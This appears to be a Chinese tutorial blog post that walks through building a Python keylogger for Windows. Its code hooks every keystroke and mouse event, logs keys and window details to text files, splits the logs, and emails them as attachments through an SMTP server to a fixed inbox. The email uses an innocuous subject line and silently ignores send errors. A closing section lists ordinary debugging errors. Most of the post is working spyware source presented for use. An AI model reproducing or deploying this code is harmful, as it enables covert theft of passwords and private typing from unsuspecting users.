一. 环境以及工具

环境:win10,Python3.6

工具:JetBrains PyCharm 2018.1.4

二. 使用的第三方库:

import os
import smtplib #发送邮件
import time
import threading
import email复制代码

下面这三个库主要用来监听:

import PyHook3
import pythoncom
from past.builtins import xrange复制代码

若环境没有自带以上第三方库,可以参照如下图示方法导入,或者自行谷歌



三. 实现监听键盘、鼠标动作

使用PyHook3、pythoncom库监听键盘、鼠标事件

# 创建监听对象
manager = PyHook3.HookManager()
# 监听所有键盘事件
manager.KeyDown = on_keyboard_event
# 设置键盘监听
manager.HookKeyboard()
# 循环监听, 若不手动关闭, 程序将一直处于监听状态
pythoncom.PumpMessages()复制代码
on_keyboard_event是用来打印监听信息的函数
def on_keyboard_event(event):
"""

监听键盘事件

:param event:
:return: 同鼠标监听事件的返回值
"""
print('================== start listening keyboard ====================')
print('MessageName: ', event.MessageName)
print('Message: ', event.Message)
print('Time: ', event.Time)
print('Window: ', event.Window)
print('Ascii: ', event.Ascii, chr(event.Ascii))
print('Key: ', event.Key)
print('KeyID: ', event.KeyID)
print('ScanCode: ', event.ScanCode)
print('Extended: ', event.Extended)
print('Injected: ', event.Injected)
print('Alt: ', event.Alt)
print('Transition: ', event.Transition)
print('================== start listening keyboard ====================')

return True复制代码

返回“True”,用于持续监听,监听鼠标的实现与监听键盘类似。

四. 将监听信息写入文件

将打印在控制台的监听键盘信息写入到当前目录的txt文件中

def on_keyboard_event(event):
"""

将监听的键盘信息写入文件

:param event:
:return:
"""
with open('./keyboard.txt', 'a+') as f:
f.write(
'事件: ' + event.MessageName + ', 时间: ' + format_time() + ', 窗口信息: '
+ str(event.Window) + ', 键值: ' + event.Key + ', 键ID: ' + str(event.KeyID) + '\r\n')
return True复制代码

五. 分割监听信息文件

按照文件内容分割,而不是按照文件大小。因为按照文件大小分割时,部分相连的内容将会被分割到两个文件中。

def split_file(self):
"""
按照内容行数分割
:return:
"""
with open(self.fileName + '.txt', 'r') as f:
global index
while 1:
index += 1
try:
with open(self.fileName + '_%d.txt' % index, 'w') as temp:
for _ in xrange(self.Size):
temp.write(f.__next__())
except StopIteration:
break
def timer_split_file(self):
"""
超过指定行数则分割
:return:
"""
with open(self.fileName + '.txt', 'r') as f:
lines = f.readlines()
if lines.__len__() > self.Size:
self.split_file()复制代码

六. 将监听信息发送到指定邮箱

利用邮箱相互发送邮件的方式发送监听信息,所以必须开启发送者邮箱的POP3/SMTP服务。监听信息文件以附件的形式发送。若开启了POP3/SMTP服务,而接受者没有看到邮件,可能邮件在接受者邮箱的垃圾箱中。

@staticmethod
def send_email():
host = 'smtp.163.com' # 设置邮件服务器
user = 'svip*****@163.com' # 发送者
password = 'smt*****1' # 客户端授权密码
sender = 'svip******@163.com' # 匿名发送
receiver = ['1341****1@qq.com'] # 接收邮件
# 构造邮件对象
msg = MIMEMultipart('alternative')
msg['From'] = sender
msg['To'] = ";".join(receiver)
msg['Subject'] = Header('Have a nice day,How are you?', 'utf-8')
msg['Message-id'] = make_msgid()
msg['Date'] = formatdate()
message = MIMEText('this is today content', 'plain', 'utf-8')
msg.attach(message)
# 构造附件对象,发送鼠标监听信息
if index != 0:
for num in range(1, index + 1):
mouse_file_name = './mouse_' + str(num) + '.txt'
mouse_file = open(mouse_file_name, 'rb').read()
mouse_send = MIMEText(mouse_file, 'base64', 'utf-8')
mouse_send['Content-Type'] = 'application/octet-stream'
mouse_send['Content-Disposition'] = 'attachment;filename=' + mouse_file_name
msg.attach(mouse_send)
# 发送键盘监听信息
key_file = open('./keyboard.txt', 'rb').read()
key_send = MIMEText(key_file, 'base64', 'utf-8')
key_send['Content-Type'] = 'application/octet-stream'
key_send['Content-Disposition'] = 'attachment;filename=keyboard.txt'
msg.attach(key_send)
# 发送邮件
try:
mail = smtplib.SMTP_SSL(host, 465)
mail.login(user, password)
mail.sendmail(sender, receiver, msg.as_string())
mail.quit()
except smtplib.SMTPException:
# 异常信息不捕获

pass复制代码

七. bug and solve

Warning 01:

This inspection detects any methods which may safely be made static.

Solution 01:

在方法上面加: @staticmethod

Error 02:

TypeError: main() missing 1 required positional argument: 'self'

Solution 02:

先实例化类, 再使用类

e.g.

listening = Listening()
listening.main()

Error 03:

TypeError: 'float' object is not callable

Solution 03:

变量名与方法名冲突,或者与关键字冲突

Error 04:

email.errors.MultipartConversionError:Cannot attach additional subparts to non-multipart/*

Solution 04:

没有创建带附件的实例

e.g.

msg = MIMEMultipart('mixed')

Error 05:

使用http://smtp.qq.com发送邮件时:Connection unexpectedly closed

Solution 05:

发送者邮箱没有开启POP3/SMTP服务

e.g.



Error 06:

smtplib.SMTPHeloError: (500, b'Error: bad syntax')